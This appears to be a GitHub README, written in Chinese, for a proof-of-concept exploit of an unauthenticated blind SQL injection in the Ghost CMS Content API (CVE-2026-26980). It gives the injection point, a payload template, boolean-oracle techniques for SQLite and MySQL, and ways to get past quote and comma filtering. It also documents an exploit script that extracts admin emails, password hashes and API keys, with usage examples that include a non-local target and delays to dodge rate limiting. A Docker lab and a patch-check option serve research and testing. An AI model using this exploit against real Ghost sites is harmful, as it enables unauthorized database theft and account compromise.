n0bitaemon/CVE-2026-26980-PoC
GitHub: n0bitaemon/CVE-2026-26980-PoC
针对 Ghost CMS Content API 盲注 SQL 注入漏洞(CVE-2026-26980)的 PoC 利用工具,可在无需身份验证的情况下通过布尔盲注提取数据库敏感信息。
Stars: 0 | Forks: 0
# CVE-2026-26980 — Ghost CMS Content API 盲注 SQL 注入
**受影响版本:** Ghost 3.24.0 – 6.19.0
**修复版本:** Ghost 6.19.1
**身份验证要求:** 无需身份验证 — Content API key 是公开的
**影响:** 未经身份验证读取整个数据库(凭据、API key)
## 漏洞
`slug-filter-order.js` 将用户提供的 slug 值直接内插到原始 SQL `ORDER BY` 子句中,而不是使用参数化绑定。
```
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ raw string interpolation
// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
```
**注入点:**
```
GET /ghost/api/content/posts/?key=&filter=slug:[,]
```
**Payload 模板:**
```
slug:['||||',]
```
## Oracle
注入的表达式充当基于错误的布尔 oracle。
| 引擎 | TRUE | FALSE |
|--------|------|-------|
| SQLite | `hex(randomblob(10^15))` → OOM → **HTTP 500** | `ELSE 0` → **HTTP 200** |
| MySQL | `THEN 0` → **HTTP 200** | `EXP(710)` 溢出 → **HTTP 500** |
**NQL 约束** — 括号内的 SQL 表达式不能包含单引号 (`'`) 或逗号 (`,`):
| 问题 | SQLite 解决方案 | MySQL 解决方案 |
|---------|----------------|----------------|
| 字符串字面量 `'content'` | `CHAR(99)\|\|CHAR(111)\|\|...` | `0x636F6E74656E74` |
| 位置 N 的字符 | 基于前缀的字符串比较 | `ASCII(SUBSTR(x FROM N FOR 1))` |
## 用法
```
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
Required:
--url URL Ghost base URL (e.g. http://localhost:2368)
--key KEY Content API key
Optional:
--slug SLUG Anchor slug (auto-discovered from API if omitted)
--dbms {auto,sqlite,mysql} DB engine (default: auto-detect)
--delay N Seconds between requests — use to avoid HTTP 429 (default: 0)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
--validate-fix Test if the target is patched, then exit
Data flags (at least one required):
--email User email(s)
--hash User bcrypt hash(es)
--content-key Content API key(s)
--admin-key Admin API key(s)
--all Shorthand for --email --hash --content-key --admin-key
Modifier:
--all-records Extract ALL records for the selected flag(s) instead of first only
```
### 示例
```
# 提取第一个管理员邮箱 + hash (无代理)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--email --hash --no-proxy
# 提取所有内容,逐条记录
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--all --no-proxy
# 提取所有 Content API 密钥
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--content-key --all-records
# 提取所有数据类型的所有记录
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--all --all-records
# 通过 Burp 代理路由
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key \
--all --proxy http://127.0.0.1:8080
# 强制使用 MySQL 引擎,添加延迟以避免触发 rate limiting
python3 exploit/exploit.py \
--url http://target.com \
--key \
--all --dbms mysql --delay 0.5
# 验证已修补版本不可利用
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key \
--validate-fix
```
### 速率限制 (HTTP 429)
Ghost 默认对 Content API 请求进行速率限制。选项:
1. 传递 `--delay 0.5` 以在请求之间添加延迟
2. 在 docker-compose 环境中设置 `API_RATE_LIMIT_ENABLED: "false"` 并重启
## 参考
- Ghost 安全公告:[GHSA-w52v-v783-gw97](https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97)
- NVD:[CVE-2026-26980](https://nvd.nist.gov/vuln/detail/CVE-2026-26980)
- 修复 diff:Ghost `6.18.0` → `6.19.1` 中的 `slug-filter-order.js`
## 实验环境设置
### 要求
- Docker + Docker Compose
- Python 3.9+,执行 `pip install requests`
### 目录结构
```
ghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (default)
├── mysql-init/
│ └── 01-init.sql # creates ghost_patch DB, grants access
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
```
两个 compose 文件均暴露:
- `http://localhost:2368` — 存在漏洞 (Ghost 6.18.0)
- `http://localhost:2369` — 已修补 (Ghost 6.19.1)
### 使用 SQLite 启动
```
docker compose -f sqlite_docker-compose.yml up -d
```
### 使用 MySQL 启动
```
docker compose -f mysql_docker-compose.yml up -d
```
MySQL 凭据:`host=localhost:3306 user=ghost password=ghostpass`
数据库:`ghost_vuln` (端口 2368) / `ghost_patch` (端口 2369)
### 首次运行设置
等待约 60 秒让 Ghost 初始化,然后:
1. 访问 `http://localhost:2368/ghost` — 创建管理员账户并发布至少一篇文章
2. 从 Ghost Admin → Settings → Integrations 复制 **Content API key**
### 重置实验环境
```
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
```
标签:CISA项目, Ghost CMS, Python, Web安全, 无后门, 版权保护, 蓝队分析, 请求拦截, 逆向工具